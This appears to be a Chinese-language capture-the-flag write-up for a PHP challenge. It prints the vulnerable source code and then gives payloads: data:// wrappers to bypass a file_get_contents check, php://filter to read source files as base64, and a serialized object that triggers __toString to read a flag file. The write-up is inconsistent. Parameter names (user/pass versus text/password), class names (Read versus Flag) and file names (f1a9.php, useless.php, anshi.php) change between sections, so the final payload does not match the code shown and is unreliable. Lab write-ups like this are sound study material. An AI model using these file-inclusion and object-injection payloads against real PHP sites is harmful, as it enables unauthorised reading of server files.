思路:
1./?s=data://text/plain,XXXXXX
2.include …php
3._tostring() echo unserialize(pass)
echo file_get_content($this-file)
把反序列化属性的值读取并输出
主要两个文件
index.php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!
";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$f = new Read();
var_dump($f);
echo serialize($f);
echo "\n";
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
题目的意思很明显,是通过get传入的三个参数来控制获取到f1a9.php文件里的flag。
第一个条件,通过file_get_contents( u s e r , ′ r ′ ) 获 取 user,'r')获取 user,′r′)获取user参数传来的值,三等于,基本不存在什么弱比较类型的绕过,但我们知道该函数里是支持伪协议的,这里可以用php伪协议php://input,来使得其获取的值为我们post传递过去的值,如下:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
php://input,用于执行php代码,需要post请求提交数据。
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
接下来,看到后面有一个文件包含,利用该漏洞。可以把文件源码读下来,如下:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
然后base64解密即可得到源码。但我们发现这里是不能直接读到flag文件的值的,做了过滤,再看看class.php文件:
里面是一个类,并且类里只有一个__toString()方法,我们看看__toString()方法的作用
__toString()是快速获取对象的字符串信息的便捷方式,似乎魔术方法都有一个“自动“的特性,如自动获取,自动打印等,__toString()也不例外,它是在直接输出对象引用时自动调用的方法。
当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
简单的说,就是当类对象被输出引用时,就会自动调用该方法
我们看到class源文件的__toString()方法有一个file_get_contents()函数,而之前index文件还有一个pass参数还没用到
$pass = unserialize($pass);
echo $pass;
于是我们构造Read类的序列化对象,然后经过这里的反序列化,在echo输出时,不就会自动加载__toString()方法吗,就好读取到file中文件的内容,并输出了然后就可以达到我们获取flag的目的了
当类对象被输出引用时,就会自动调用该方法
类对象被输出 echo $pass;(经过反序列化的,说明输入的时候应该是被序列化的)
就会自动调用该方法
function __toString(){
if(isset($this->file)){ 把反序列化的里面file这个属性要有值
echo file_get_contents($this->file); 把反序列化的里面file这个属性的值读取并打印出来,如果这个值是flag.php就好了呀,而且作为file里面的值最开始是序列化的,前面可以绕过过滤,在这里才打印出来
text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
思路总结几个点:
1.(file_get_contents($user,‘r’)===“the user is admin”
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
php://input,用于执行php代码,需要post请求提交数据。
2.include()函数 以及一个暗示的 anshi.php文件,,读取源码
=php://filter/read=convert.base64-encode/resource=ansh.php
3.__toString() 当类对象被输出引用时,就会自动调用该方法
执行echo 被反序列化的对象 同时执行__toString()函数,让反序列化中属性file的属性值被提纯出来,输出,也就是我们想要的flag.php
类对象被输出 echo $pass;(经过反序列化的,说明输入的时候应该是被序列化的)
就会自动调用该方法
function __toString(){
if(isset($this->file)){ 把反序列化的里面file这个属性要有值
echo file_get_contents($this->file); 把反序列化的里面file这个属性的值读取并打印出来,如果这个值是flag.php就好了呀,而且作为file里面的值最开始是序列化的,前面可以绕过过滤,在这里才打印出来
4.php类型文件的源码很重要,flag.php里面会有答案,一般的php会有代码审计